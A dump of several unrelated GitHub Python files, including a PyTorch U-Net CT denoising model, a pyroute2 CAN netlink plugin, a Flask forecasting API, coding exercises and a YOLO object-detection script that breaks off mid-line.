align_corners=True)\n self.conv = DoubleConv(in_channels, out_channels, in_channels // 2, norm=norm, act=act)\n else:\n self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, kernel_size=2, stride=2)\n self.conv = DoubleConv(in_channels, out_channels, norm=norm, act=act)\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def forward(self, x1, x2):\n x1 = self.up(x1)\n # input is CHW\n diffY = x2.size()[2] - x1.size()[2]\n diffX = x2.size()[3] - x1.size()[3]\n\n x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,\n diffY // 2, diffY - diffY // 2])\n # if you have padding issues, see\n # https://github.com/HaiyongJiang/U-Net-Pytorch-Unstructured-Buggy/commit/0e854509c2cea854e247a9c615f175f76fbb2e3a\n # https://github.com/xiaopeng-liao/Pytorch-UNet/commit/8ebac70e633bac59fc22bb5195e513d5832fb3bd\n x = torch.cat([x2, x1], dim=1)\n return self.conv(x)\n\n\nclass OutConv(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(OutConv, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1)\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def forward(self, x):\n return self.conv(x)\n\nclass UNet(nn.Module):\n def __init__(self, in_channels = 1, out_channels = 1, bilinear=True, \n norm = 'bn' , act = 'relu', attn_mode = 'base'):\n super(UNet, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.bilinear = bilinear\n\n self.inc = DoubleConv(in_channels, 64, norm = norm, act = act)\n self.down1 = Down(64, 128, norm = norm, act = act)\n self.down2 = Down(128, 256, norm = norm, act = act)\n self.down3 = Down(256, 512, norm = norm, act = act)\n factor = 2 if bilinear else 1\n self.down4 = Down(512, 1024 // factor, norm = norm, act = act)\n self.up1 = Up(1024, 512 // factor, bilinear, norm = norm, act = act)\n self.up2 = Up(512, 256 // factor, bilinear, norm = norm, act = act)\n self.up3 = Up(256, 128 // factor, bilinear, norm = norm, act = act)\n self.up4 = Up(128, 64, bilinear, norm = norm, act = act)\n if attn_mode == 'attn':\n pass\n elif attn_mode == 'sca':\n self.se = SimpleChannelAttention(64)\n elif attn_mode == 'ca':\n self.se = ChannelAttention(64)\n else:\n self.se = None\n self.outc = OutConv(64, out_channels)\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def forward(self, x):\n # x: [bs * patch_n, 1, *patch_size]\n\n x1 = self.inc(x) # [bs * patch_n, 64, *patch_size]\n x2 = self.down1(x1) # [bs * patch_n, 128, *patch_size // 2]\n x3 = self.down2(x2) # [bs * patch_n, 256, *patch_size // 4]\n x4 = self.down3(x3) # [bs * patch_n, 512, *patch_size // 8]\n x5 = self.down4(x4) # [bs * patch_n, 512, *patch_size // 16] if bilinear\n x = self.up1(x5, x4) # [bs * patch_n, 256, *patch_size // 8]\n x = self.up2(x, x3) # [bs * patch_n, 128, *patch_size // 4]\n x = self.up3(x, x2) # [bs * patch_n, 256, *patch_size // 2]\n x = self.up4(x, x1) # [bs * patch_n, 64, *patch_size]\n if self.se:\n x = self.se(x)\n out = self.outc(x) # [bs * patch_n, 1, *patch_size]\n return out, x # please return the final featmap\n\nclass PatchLSGAN(nn.Module):\n def __init__(self, in_channels=3):\n super(PatchLSGAN, self).__init__()\n\n def discriminator_block(in_filters, out_filters, normalization=True):\n layers = [nn.Conv2d(in_filters, out_filters, 4, stride=2, padding=1)]\n if normalization:\n layers.append(nn.InstanceNorm2d(out_filters))\n layers.append(nn.LeakyReLU(0.2, inplace=True))\n return layers\n\n self.model = nn.Sequential(\n *discriminator_block(in_channels, 64, normalization=False),\n *discriminator_block(64, 128),\n *discriminator_block(128, 256),\n *discriminator_block(256, 512),\n nn.ZeroPad2d((1, 0, 1, 0)),\n nn.Conv2d(512, 1, 4, padding=1, bias=False)\n ) # turn it into a lsgan\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def forward(self, content, noisy, noise):\n img_input = torch.cat((content, noisy, noise), 1)\n return self.model(img_input)\n\nclass SimpleFusion(nn.Module):\n def __init__(self, pre_fusion = None, norm = None) -> None: # Laynorm?\n super().__init__()\n self.conv = nn.Conv2d(2,1,1)\n if pre_fusion == 'scam':\n self.pre_fusion_layer = SCAM(1)\n else:\n self.pre_fusion_layer = None\n if norm == 'ln':\n self.norm = LayerNorm2d(1)\n else:\n self.norm = None\n\n def forward(self, noise, img, pred_content):\n pred_strip = img - noise\n if self.pre_fusion_layer is not None:\n pred_strip, pred_content = self.pre_fusion_layer(pred_strip, pred_content)\n out = torch.cat([pred_strip, pred_content], dim = 1) # [bs * patch_n, 1, patch_size]\n # pre-norm is needed\n if self.norm:\n out = self.norm(out)\n out = self.conv(out)\n \n return out\n\nclass CNCL_unet(nn.Module):\n def __init__(self, noise_encoder = 'unet', content_encoder = 'unet',\n attn_mode = 'base', norm_mode = 'bn', act_mode = 'relu', \n pre_fusion = None, fusion = 'simple') -> None:\n super().__init__()\n if noise_encoder == 'unet':\n self.noise_encoder = UNet(attn_mode = attn_mode, norm=norm_mode, act=act_mode)\n elif noise_encoder == 'sk':\n self.noise_encoder = RED_SK_Block()\n \n if content_encoder == 'unet':\n self.content_encoder = UNet(attn_mode = attn_mode, norm=norm_mode, act=act_mode)\n if fusion == 'simple':\n self.fusion_layer = SimpleFusion(pre_fusion = pre_fusion)\n\n # self.relu = nn.ReLU() # relu maybe needed # nope!\n\n def forward(self,img):\n pred_noise, _ = self.noise_encoder(img)\n pred_content, _ = self.content_encoder(img)\n pred_fusion = self.fusion_layer(pred_noise, img, pred_content)\n\n return {\n 'pred_noise': pred_noise,\n 'pred_content': pred_content,\n 'pred_fusion': pred_fusion\n }\n\nclass CNCL_attn(nn.Module):\n def __init__(self, noise_encoder = 'unet', content_encoder = 'unet',\n attn_mode = 'base', norm_mode = 'bn', act_mode = 'relu',\n mdta_layer_num = 1, cross_layer_num = 1, \n pre_fusion = None, fusion = 'simple') -> None:\n super().__init__()\n if noise_encoder == 'unet':\n self.noise_encoder = UNet(attn_mode = attn_mode, norm=norm_mode, act=act_mode)\n elif noise_encoder == 'sk':\n self.noise_encoder = RED_SK_Block()\n \n if content_encoder == 'unet':\n self.content_encoder = UNet(attn_mode = attn_mode, norm=norm_mode, act=act_mode)\n\n # self.noise_attn = nn.ModuleList([MDTA(dim=64) for _ in range(mdta_layer_num)])\n # self.content_attn = nn.ModuleList([MDTA(dim=64) for _ in range(mdta_layer_num)])\n # self.cross_attn = nn.ModuleList([CrossAttention(dim=64) for _ in range(cross_layer_num)])\n\n # use ln and residual\n # self.noise_attn = nn.ModuleList([MDTABlock(dim=64) for _ in range(mdta_layer_num)])\n # self.content_attn = nn.ModuleList([MDTABlock(dim=64) for _ in range(mdta_layer_num)])\n self.cross_attn = nn.ModuleList([CrossAttention(dim=64) for _ in range(cross_layer_num)])\n\n self.noise_pred = OutConv(64, 1)\n self.content_pred = OutConv(64,1)\n self.fusion_layer = SimpleFusion(pre_fusion=pre_fusion)\n \n # self.relu = nn.ReLU() # relu maybe needed # nope!\n\n def forward(self,img):\n _, noise_featmap = self.noise_encoder(img)\n _, content_featmap = self.content_encoder(img)\n\n # for layer in self.noise_attn:\n # noise_featmap = layer(noise_featmap)\n \n # for layer in self.content_attn:\n # content_featmap = layer(content_featmap)\n\n for layer in self.cross_attn:\n noise_featmap, content_featmap = layer(noise_featmap, content_featmap)\n\n pred_noise = self.noise_pred(noise_featmap)\n pred_content = self.content_pred(content_featmap)\n\n pred_fusion = self.fusion_layer(pred_noise, img, pred_content)\n\n return {\n 'pred_noise': pred_noise,\n 'pred_content': pred_content,\n 'pred_fusion': pred_fusion\n }\n\nclass DualUNet(nn.Module):\n def __init__(self, in_channels = 1, out_channels = 1, bilinear=True, \n norm = 'bn' , act = 'relu', attn_mode = 'base', \n cross_layer_num = 1):\n super(DualUNet, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.bilinear = bilinear\n\n self.content_inc = DoubleConv(in_channels, 64, norm = norm, act = act)\n self.noise_inc = DoubleConv(in_channels, 64, norm = norm, act = act)\n \n self.content_down1 = Down(64, 128, norm = norm, act = act)\n self.content_down2 = Down(128, 256, norm = norm, act = act)\n self.content_down3 = Down(256, 512, norm = norm, act = act)\n self.noise_down1 = Down(64, 128, norm = norm, act = act)\n self.noise_down2 = Down(128, 256, norm = norm, act = act)\n self.noise_down3 = Down(256, 512, norm = norm, act = act)\n\n factor = 2 if bilinear else 1\n\n self.content_down4 = Down(512, 1024 // factor, norm = norm, act = act)\n self.noise_down4 = Down(512, 1024 // factor, norm = norm, act = act)\n\n self.content_up1 = Up(1024, 512 // factor, bilinear, norm = norm, act = act)\n self.content_up2 = Up(512, 256 // factor, bilinear, norm = norm, act = act)\n self.content_up3 = Up(256, 128 // factor, bilinear, norm = norm, act = act)\n self.content_up4 = Up(128, 64, bilinear, norm = norm, act = act)\n\n self.noise_up1 = Up(1024, 512 // factor, bilinear, norm = norm, act = act)\n self.noise_up2 = Up(512, 256 // factor, bilinear, norm = norm, act = act)\n self.noise_up3 = Up(256, 128 // factor, bilinear, norm = norm, act = act)\n self.noise_up4 = Up(128, 64, bilinear, norm = norm, act = act)\n\n self.cross_attn1 = nn.ModuleList([CrossAttentionBlock(dim=512 // factor) for _ in range(cross_layer_num)])\n self.cross_attn2 = nn.ModuleList([CrossAttentionBlock(dim=256 // factor) for _ in range(cross_layer_num)])\n self.cross_attn3 = nn.ModuleList([CrossAttentionBlock(dim=128 // factor) for _ in range(cross_layer_num)])\n self.cross_attn4 = nn.ModuleList([CrossAttentionBlock(dim=64) for _ in range(cross_layer_num)])\n\n self.content_outc = OutConv(64, out_channels)\n self.noise_outc = OutConv(64, out_channels)\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def forward(self, x):\n # x: [bs * patch_n, 1, *patch_size]\n\n content_x1 = self.content_inc(x) # [bs * patch_n, 64, *patch_size]\n content_x2 = self.content_down1(content_x1) # [bs * patch_n, 128, *patch_size // 2]\n content_x3 = self.content_down2(content_x2) # [bs * patch_n, 256, *patch_size // 4]\n content_x4 = self.content_down3(content_x3) # [bs * patch_n, 512, *patch_size // 8]\n content_x5 = self.content_down4(content_x4) # [bs * patch_n, 512, *patch_size // 16] if bilinear\n\n noise_x1 = self.noise_inc(x) # [bs * patch_n, 64, *patch_size]\n noise_x2 = self.noise_down1(noise_x1) # [bs * patch_n, 128, *patch_size // 2]\n noise_x3 = self.noise_down2(noise_x2) # [bs * patch_n, 256, *patch_size // 4]\n noise_x4 = self.noise_down3(noise_x3) # [bs * patch_n, 512, *patch_size // 8]\n noise_x5 = self.noise_down4(noise_x4) # [bs * patch_n, 512, *patch_size // 16] if bilinear\n\n # cross-attn 1\n content_x = self.content_up1(content_x5, content_x4) # [bs * patch_n, 256, *patch_size // 8]\n noise_x = self.noise_up1(noise_x5, noise_x4) # [bs * patch_n, 256, *patch_size // 8]\n for layer in self.cross_attn1:\n content_x, noise_x = layer(content_x, noise_x)\n\n # cross-attn 2\n content_x = self.content_up2(content_x, content_x3) # [bs * patch_n, 128, *patch_size // 4]\n noise_x = self.noise_up2(noise_x, noise_x3) # [bs * patch_n, 128, *patch_size // 4]\n for layer in self.cross_attn2:\n content_x, noise_x = layer(content_x, noise_x)\n\n # cross-attn 3\n content_x = self.content_up3(content_x, content_x2) # [bs * patch_n, 256, *patch_size // 2]\n noise_x = self.noise_up3(noise_x, noise_x2) # [bs * patch_n, 256, *patch_size // 2]\n for layer in self.cross_attn3:\n content_x, noise_x = layer(content_x, noise_x)\n\n # cross-attn 4\n content_x = self.content_up4(content_x, content_x1) # [bs * patch_n, 64, *patch_size]\n noise_x = self.noise_up4(noise_x, noise_x1) # [bs * patch_n, 64, *patch_size]\n for layer in self.cross_attn4:\n content_x, noise_x = layer(content_x, noise_x)\n\n content_out = self.content_outc(content_x) # [bs * patch_n, 1, *patch_size]\n noise_out = self.noise_outc(noise_x) # [bs * patch_n, 1, *patch_size]\n\n return content_out, noise_out # please return the final featmap\n\nclass CNCL_full_attn(nn.Module):\n def __init__(self, attn_mode = 'base', norm_mode = 'bn', act_mode = 'relu',\n cross_layer_num = 1, \n pre_fusion = None, fusion = 'simple') -> None:\n super().__init__()\n self.encoder = DualUNet(norm = norm_mode , act = act_mode,\n attn_mode = attn_mode, cross_layer_num = cross_layer_num)\n self.fusion_layer = SimpleFusion(pre_fusion=pre_fusion)\n\n def forward(self, img):\n pred_content, pred_noise = self.encoder(img)\n pred_fusion = self.fusion_layer(pred_noise, img, pred_content)\n\n return {\n 'pred_noise': pred_noise,\n 'pred_content': pred_content,\n 'pred_fusion': pred_fusion\n }\n\nif __name__ == '__main__':\n shape = (4,1,64,64)\n fake = torch.randn(shape)\n unet = UNet()\n res = unet(fake)\n assert res.shape == shape, 'test fail with predicted shape {} and true shape {}'.format(res.shape, shape)\n expected_shape = (4,1,4,4)\n fakeb, reala = torch.randn(shape), torch.randn(shape)\n patchgan = PatchLSGAN()\n res = patchgan(fakeb, reala)\n assert res.shape == expected_shape, 'test fail with predicted shape {} and true shape {}'.format(res.shape, expected_shape)\n","repo_name":"imabackstabber/CT_DIY","sub_path":"networks/cncl.py","file_name":"cncl.py","file_ext":"py","file_size_in_byte":22704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9415394266","text":"from pyroute2.netlink import nla, nlmsg_atoms\n\nCAN_CTRLMODE_NAMES = {\n 'CAN_CTRLMODE_LOOPBACK': 0x01,\n 'CAN_CTRLMODE_LISTENONLY': 0x02,\n 'CAN_CTRLMODE_3_SAMPLES': 0x04,\n 'CAN_CTRLMODE_ONE_SHOT': 0x08,\n 'CAN_CTRLMODE_BERR_REPORTING': 0x10,\n 'CAN_CTRLMODE_FD': 0x20,\n 'CAN_CTRLMODE_PRESUME_ACK': 0x40,\n 'CAN_CTRLMODE_FD_NON_ISO': 0x80,\n 'CAN_CTRLMODE_CC_LEN8_DLC': 0x100,\n 'CAN_CTRLMODE_TDC_AUTO': 0x200,\n 'CAN_CTRLMODE_TDC_MANUAL': 0x400,\n}\n\nCAN_CTRLMODE_VALUES = {\n 0x001: 'CAN_CTRLMODE_LOOPBACK',\n 0x002: 'CAN_CTRLMODE_LISTENONLY',\n 0x004: 'CAN_CTRLMODE_3_SAMPLES',\n 0x008: 'CAN_CTRLMODE_ONE_SHOT',\n 0x010: 'CAN_CTRLMODE_BERR_REPORTING',\n 0x020: 'CAN_CTRLMODE_FD',\n 0x040: 'CAN_CTRLMODE_PRESUME_ACK',\n 0x080: 'CAN_CTRLMODE_FD_NON_ISO',\n 0x100: 'CAN_CTRLMODE_CC_LEN8_DLC',\n 0x200: 'CAN_CTRLMODE_TDC_AUTO',\n 0x400: 'CAN_CTRLMODE_TDC_MANUAL',\n}\n\n\nclass can(nla):\n prefix = 'IFLA_'\n nla_map = (\n ('IFLA_CAN_UNSPEC', 'none'),\n ('IFLA_CAN_BITTIMING', 'can_bittiming'),\n ('IFLA_CAN_BITTIMING_CONST', 'can_bittiming_const'),\n # NOTE:\n # This is actually a struct of one member, but that doesn't parse:\n ('IFLA_CAN_CLOCK', 'uint32'),\n ('IFLA_CAN_STATE', 'can_state'),\n ('IFLA_CAN_CTRLMODE', 'can_ctrlmode'),\n ('IFLA_CAN_RESTART_MS', 'uint32'),\n ('IFLA_CAN_RESTART', 'flag'),\n ('IFLA_CAN_BERR_COUNTER', 'can_berr_counter'),\n ('IFLA_CAN_DATA_BITTIMING', 'can_bittiming'),\n ('IFLA_CAN_DATA_BITTIMING_CONST', 'can_bittiming_const'),\n ('IFLA_CAN_TERMINATION', 'uint16'),\n ('IFLA_CAN_TERMINATION_CONST', 'array(uint16)'),\n ('IFLA_CAN_BITRATE_CONST', 'array(uint32)'),\n ('IFLA_CAN_DATA_BITRATE_CONST', 'array(uint32)'),\n ('IFLA_CAN_BITRATE_MAX', 'uint32'),\n ('IFLA_CAN_TDC', 'can_tdc'),\n ('IFLA_CAN_CTRLMODE_EXT', 'can_ctrlmode_ext'),\n )\n\n class can_bittiming(nla):\n fields = (\n ('bitrate', 'I'),\n ('sample_point', 'I'),\n ('tq', 'I'),\n ('prop_seg', 'I'),\n ('phase_seg1', 'I'),\n ('phase_seg2', 'I'),\n ('sjw', 'I'),\n ('brp', 'I'),\n )\n\n class can_bittiming_const(nla):\n fields = (\n ('name', '=16s'),\n ('tseg1_min', 'I'),\n ('tseg1_max', 'I'),\n ('tseg2_min', 'I'),\n ('tseg2_max', 'I'),\n ('sjw_max', 'I'),\n ('brp_min', 'I'),\n ('brp_max', 'I'),\n ('brp_inc', 'I'),\n )\n\n class can_state(nlmsg_atoms.uint32):\n value_map = {\n 0: 'ERROR_ACTIVE',\n 1: 'ERROR_WARNING',\n 2: 'ERROR_PASSIVE',\n 3: 'BUS_OFF',\n 4: 'STOPPED',\n 5: 'SLEEPING',\n 6: 'MAX',\n }\n\n class can_ctrlmode(nla):\n fields = (('mask', 'I'), ('flags', 'I'))\n\n def decode(self):\n super(nla, self).decode()\n flags = self[\"flags\"]\n for value, mode in CAN_CTRLMODE_VALUES.items():\n self[mode[len('CAN_CTRLMODE_') :].lower()] = (\n \"on\" if flags & value else \"off\"\n )\n del self[\"flags\"]\n del self[\"mask\"]\n\n def encode(self):\n mask = 0\n flags = 0\n for mode, value in CAN_CTRLMODE_NAMES.items():\n m = mode[len('CAN_CTRLMODE_') :].lower()\n try:\n v = self[m]\n except KeyError:\n continue\n mask |= value\n if v == \"on\":\n flags |= value\n self['mask'] = mask\n self['flags'] = flags\n return super(nla, self).encode()\n\n class can_berr_counter(nla):\n fields = (('txerr', 'H'), ('rxerr', 'H'))\n\n class can_tdc(nla):\n prefix = \"IFLA_\"\n nla_map = (\n ('IFLA_CAN_TDC_UNSPEC', 'none'),\n ('IFLA_CAN_TDC_TDCV_MIN', 'uint32'),\n ('IFLA_CAN_TDC_TDCV_MAX', 'uint32'),\n ('IFLA_CAN_TDC_TDCO_MIN', 'uint32'),\n ('IFLA_CAN_TDC_TDCO_MAX', 'uint32'),\n ('IFLA_CAN_TDC_TDCF_MIN', 'uint32'),\n ('IFLA_CAN_TDC_TDCF_MAX', 'uint32'),\n ('IFLA_CAN_TDC_TDCV', 'uint32'),\n ('IFLA_CAN_TDC_TDCO', 'uint32'),\n ('IFLA_CAN_TDC_TDCF', 'uint32'),\n )\n\n class can_ctrlmode_ext(nla):\n prefix = \"IFLA_\"\n nla_map = (\n ('IFLA_CAN_CTRLMODE_UNSPEC', 'none'),\n ('IFLA_CAN_CTRLMODE_SUPPORTED', 'can_ctrlmode_supported'),\n )\n\n class can_ctrlmode_supported(nlmsg_atoms.uint32):\n def decode(self):\n super(nlmsg_atoms.uint32, self).decode()\n for value, mode in CAN_CTRLMODE_VALUES.items():\n self[mode[len('CAN_CTRLMODE_') :].lower()] = (\n 'yes' if value & self[\"value\"] else 'no'\n )\n del self[\"value\"]\n","repo_name":"svinota/pyroute2","sub_path":"pyroute2/netlink/rtnl/ifinfmsg/plugins/can.py","file_name":"can.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":888,"dataset":"github-code","pt":"61"} +{"seq_id":"23559083521","text":"#!/usr/bin/python3\n\nimport sys\ninfile = sys.argv[1]\ntry:\n outfile = sys.argv[2]\nexcept IndexError:\n outfile = sys.stdout\n\ndef read_int(f):\n return int(f.readline())\n\ndef read_ints(f, sep=\" \"):\n return map(int, f.readline().rstrip().split(sep))\n\ndef read_lines(f, no_lines):\n retval = []\n for i in range(no_lines):\n retval.append(f.readline().rstrip())\n return retval\n\n\n\ndef get_break(n):\n if n<10:\n return -1\n \n n_s = str(n)\n old_digit = n_s[0]\n retval_s = n_s[0]\n \n for idx, digit in enumerate(n_s[1:]):\n if digit < old_digit:\n retval_s += \"0\"*(len(n_s)-1-idx)\n return int(retval_s)\n else:\n old_digit = digit\n retval_s += digit\n \n return -1\n \n\ndef solve(n):\n cnt = 0\n while True:\n cnt += 1\n# print(n)\n new = get_break(n)\n if new == -1:\n return (n, cnt)\n else:\n n = new -1 \n\n\ndef main():\n f = open(infile, \"r\")\n no_cases = read_int(f)\n\n out = open(outfile, \"w\")\n \n for case_idx in range(no_cases):\n n = read_int(f)\n sol, cnt = solve(n)\n out.write(\"Case #%d: %s\\n\" % (case_idx+1, sol))\n \n f.close()\n out.close()\n \n\nif __name__ == \"__main__\":\n main()\n \n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/3602.py","file_name":"3602.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11366978636","text":"import csv\nimport re\nimport networkx as nx\nfrom statistics import mean \n\n# read raw data\nraw_data = list()\nwith open(\"input/raw_history_data.csv\") as f:\n raw_data = list(csv.reader(f))\n\n# clean raw data\ncleaned_data = dict()\nfor row in raw_data[1:]:\n visitId = int(row[0])\n fromVisitId = int(row[1])\n url = row[3]\n\n if(not url.startswith(\"http\")): continue\n\n match = re.search(\"^(?:https?:\\/\\/)?(?:[^@\\/\\n]+@)?(?:www\\.)?([^:\\/?\\n]+)\", url)\n url = url[match.regs[0][0]:match.regs[0][1]]\n domain = url.split(\"://\")[1]\n baseDomain = \".\".join(domain.split(\".\")[-2:])\n\n cleaned_data[visitId] = {\"fromVisitId\": fromVisitId, \"domain\": baseDomain}\n\n# build network\nedges = dict()\nprevNode = {\"domain\":\"/\"}\nfor key in sorted(cleaned_data.keys()):\n node = cleaned_data[key]\n prevNode = cleaned_data.get(node[\"fromVisitId\"], prevNode)\n edge = f\"{prevNode['domain']}:{node['domain']}\"\n edges[edge] = edges.get(edge, 0) + 1\n\nG = nx.DiGraph()\nG.add_weighted_edges_from([(*edge.split(\":\"), weight) for edge,weight in edges.items()])\n\nprint(f\"# nodes: {len(G.nodes)}\")\nprint(f\"# edges: {len(G.edges)}\")\nprint(f\"avg degree: {mean(map(lambda t: t[1], G.degree()))}\")","repo_name":"arruw/fri-1920-ina-hw0","sub_path":"src/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25121521476","text":"from flask import Flask, jsonify, request\nimport pandas as pd\nimport json\nimport joblib\nfrom utils import get_feature_matrix\n\n\napp = Flask(__name__)\n\n\n# CARGAR MODELOS\n\n\n#******************** SARIMA MODEL *********************************\n'''\nRequest\n{\n \"steps\": 100\n}\nResponse:\n3 fields: predicted_mean, lower Cantidad_siniestros, upper Cantidad_siniestros\n'''\n\n\n@app.route(\"/predict\", methods=[\"POST\", \"GET\"])\ndef predict_sarima():\n data = request.get_json()\n model = joblib.load(\"model.joblib\")\n if request.method == 'POST':\n steps = data.get(\"steps\")\n # \n pred_uc = model.predict(steps=steps)\n df_response = pd.concat([pred_uc.conf_int(), pred_uc.predicted_mean], axis=1)\n response = df_response.to_json()\n return response\n else:\n return {\"message\": \"Utilice el método POST.\", \"success\": False}\n\n#***********************************************************\n\n'''\nRequest\n{\n \"start_date\": \"\",\n \"end_date\": \"\"\n}\nResponse:\n{ \n \"time_index\": \"\",\n \"mean_prediction\": \"\"\n}\n'''\n\n#********************* XGBOOST MODEL ***************************\n\n@app.route(\"/predict/generalModel\", methods=[\"POST\", \"GET\"])\ndef predict_xgboost():\n data = request.get_json()\n model = joblib.load(\"model_xgboost_final.joblib\")\n if request.method == 'POST':\n start_date, end_date = data.get(\"start_date\"), data.get(\"end_date\")\n feat_mat_df = get_feature_matrix(start_date, end_date)\n try:\n prediction = model.predict(feat_mat_df)\n response = {\n \"prediction\": {\n \"mean_prediction\": str(list(prediction))\n },\n \"success\": True\n }\n except:\n response = {\n \"prediction\": None,\n \"success\": False\n }\n return response\n else:\n return {\"message\": \"Utilice el método POST.\", \"success\": False}\n\n\n@app.errorhandler(404)\ndef not_found(error=None):\n message = {\"status\": 404, \"message\": \"El recurso no existe. Intente la ruta /predict con método POST\"}\n response = jsonify(message)\n response.status_code = 404\n return response\n\n\n# if __name__ == \"__main__\":\n# import requests\n# import json\n# uri = \"https://scenic-kiln-292815.ue.r.appspot.com/predict\"\n# data = json.dumps({\"steps\": 20})\n# headers = {\"Content-Type\": \"application/json\"}\n# r = requests.post(uri, data=data, headers=headers)\n# if r.ok:\n# print(r.json())\n ","repo_name":"Jstoqui/MobiliData_DS4A_TEAM80","sub_path":"Model/api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23826542031","text":"#polimorphism - function overriding\n# class Animal:\n# multicellular = True\n# eukaryotic = True\n# def breathe(self):\n# print(\"I breathe oxygen.\")\n# def feed(self):\n# print(\"I eat food.\")\n#\n# class Herbivorous(Animal):\n# def feed(self):\n# print(\"I eat only plants. I am vegetarian.\")\n#\n# herbi = Herbivorous()\n# wolf = Animal()\n# herbi.feed()\n# wolf.feed()\n#\n# herbi.breathe()\n# wolf.breathe()\n#------------------------------------------------\n# Python OOP Classes and Objects exercise\n# class Vet:\n# animals = []\n# space = 5\n# def __init__(self, name: str):\n# self.name = name\n# self.animals = []\n# def register_animal(self, animal_name):\n# if Vet.space > 0:\n# Vet.space -= 1\n# self.animals.append(animal_name)\n# Vet.animals.append(animal_name)\n# return f\"{animal_name} registered in the clinic\"\n# else:\n# return \"Not enough space\"\n#\n# def unregister_animal(self, animal_name):\n# if animal_name in Vet.animals:\n# self.animals.remove(animal_name)\n# Vet.animals.remove(animal_name)\n# Vet.space += 1\n# return f\"{animal_name} unregistered successfully\"\n# else:\n# return f\"{animal_name} not in the clinic\"\n#\n# def info(self):\n# return f\"{self.name} has {len(self.animals)} animals. {Vet.space} space left in clinic\"\n#\n#\n# peter = Vet(\"Peter\")\n# george = Vet(\"George\")\n# print(peter.register_animal(\"Tom\"))\n# print(george.register_animal(\"Cory\"))\n# print(peter.register_animal(\"Fishy\"))\n# print(peter.register_animal(\"Bobby\"))\n# print(george.register_animal(\"Kay\"))\n# print(george.unregister_animal(\"Cory\"))\n# print(peter.register_animal(\"Silky\"))\n# print(peter.unregister_animal(\"Molly\"))\n# print(peter.unregister_animal(\"Tom\"))\n# print(peter.info())\n# print(george.info())\n#------------------------------------\nclass Time:\n max_hours = 23\n max_minutes = 59\n max_seconds = 59\n def __init__(self, hours: int, minutes: int, seconds: int):\n self.hours = hours\n self.minutes = minutes\n self.seconds = seconds\n def set_time(self, hours, minutes, seconds):\n self.hours = hours\n self.minutes = minutes\n self.seconds = seconds\n def get_time(self):\n return f\"{self.hours:02d}:{self.minutes:02d}:{self.seconds:02d}\"\n def next_second(self):\n if self.seconds == Time.max_seconds:\n self.seconds = 0\n if self.minutes == Time.max_minutes:\n self.minutes = 0\n if self.hours == Time.max_hours:\n self.hours = 0\n else:\n self.hours += 1\n else:\n self.minutes += 1\n else:\n self.seconds += 1\n return self.get_time()\n\ntime = Time(1, 20, 30)\nprint(time.next_second())\n# ---------------------------------------------\n# class Account:\n# def __init__(self, id: float, name: str, balance = 0):\n# self.id = id\n# self.name = name\n# self.balance = balance\n# def credit(self, amount):\n# self.balance += amount\n# return self.balance\n# def debit(self, amount):\n# if amount <= self.balance:\n# self.balance -= amount\n# return self.balance\n# else:\n# return \"Amount exceeded balance\"\n# def info(self):\n# return f\"User {self.name} with account {self.id} has {self.balance} balance\"\n#\n# account = Account(5411256, \"Peter\")\n# print(account.debit(500))\n# print(account.credit(1000))\n# print(account.debit(500))\n# print(account.info())\n#-----------------------------------------------\n","repo_name":"teodoraNI/Python_Fundamentals","sub_path":"Objects_and_Classes/Exercise/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18964598498","text":"import cv2\r\nimport time\r\nimport numpy as np\r\nfrom darkflow.net.build import TFNet\r\n\r\noptions = {'model': 'cfg/yolo.cfg',\r\n 'load': 'bin/yolov2.weights',\r\n 'threshold': 0.3,\r\n 'gpu': 0.7}\r\n\r\ntfnet = TFNet(options)\r\n\r\ndef yolo_solo(file_name):\r\n image_file = cv2.imread('images/' + file_name)\r\n output = tfnet.return_predict(image_file)\r\n\r\n for prediction in output:\r\n label = prediction['label']\r\n confidence = prediction['confidence']\r\n tl = (prediction['topleft']['x'], prediction['topleft']['y'])\r\n br = (prediction['bottomright']['x'], prediction['bottomright']['y'])\r\n color = tuple(255 * np.random.rand(3))\r\n image_file = cv2.rectangle(image_file, tl, br, color, 2)\r\n font = cv2.FONT_HERSHEY_COMPLEX\r\n image_file = cv2.putText(image_file, label, (tl[0], tl[1] - 5), font, .7, color, 2)\r\n\r\n output_file = 'output/' + file_name\r\n cv2.imwrite(output_file, image_file)\r\n cv2.imshow('YOLO: You Only Look Once', image_file)\r\n cv2.waitKey(0)\r\n return image_file\r\n\r\n\r\ndef yolo_real_time():\r\n cam = cv2.VideoCapture(0)\r\n while True:\r\n tic = time.time()\r\n ret, frame = cam.read()\r\n output = tfnet.return_predict(frame)\r\n for prediction in output:\r\n label = prediction['label']\r\n confidence = prediction['confidence']\r\n tl = (prediction['topleft']['x'], 